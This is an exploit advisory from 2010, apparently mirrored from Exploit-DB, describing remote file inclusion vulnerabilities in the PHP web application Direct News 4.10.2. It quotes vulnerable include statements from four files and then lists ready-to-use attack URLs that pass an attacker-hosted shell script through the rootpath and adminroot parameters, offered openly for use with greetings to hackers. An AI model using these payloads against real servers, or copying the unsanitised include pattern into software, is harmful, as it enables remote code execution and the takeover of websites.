Direct News 4.10.2 – Multiple Remote File Inclusions - 体验盒子

作者： mat

日期： 2010-03-25

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11882/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

\\\|///

\\- -//

(@ @ )

----oOOo--(_)-oOOo--------------------------------------------------

Direct News 4.10.2 Multiple Remote File Include Vulnerability

Script: http://code.google.com/p/directnews/downloads/list

Author: mat

Mail: rahmat_punk@hotmail.com

---------------Ooooo------------------------------------------------

( )

ooooO ) /

( )(_/

\ (

\_)

#################################################

#Vuln Code (directnews-4.10-open-20090506/admin/menu.php)

#

#<?...

#include_once $rootpath .'/library/lib.menu.php';

#include_once $rootpath .'/modules/menu/lib/treemenu.inc.php';

#...?>

#################################################

#Vuln Code (directnews-4.10-open-20090506/admin/media/update_content.php)

#

#<?...

#require_once $adminroot . '/inc.php';

#require_once './lib.media.php';

#require_once $adminroot . '/verif_identite.php';

#...?>

#################################################

#Vuln Code (directnews-4.10-open-20090506/library/class.backup.php)

#

#<?...

#require_once $adminroot .'/inc.php';

#...?>

#################################################

#Vuln Code (directnews-4.10-open-20090506/library/lib.menu.php)

#

#<?...

#require_once $rootpath . '/library/class.menuPere.php';

#...?>

#################################################

Usage: http://[target]/[path]/admin/menu_xml.php?rootpath=http://[shellscript]

http://[target]/[path]/admin/media/update_content.php?adminroot=http://[shellscript]

http://[target]/[path]/library/class.backup.php?adminroot=http://[shellscript]

http://[target]/[path]/library/lib.menu.php?rootpath=http://[shellscript]

Greetings: All Hackerz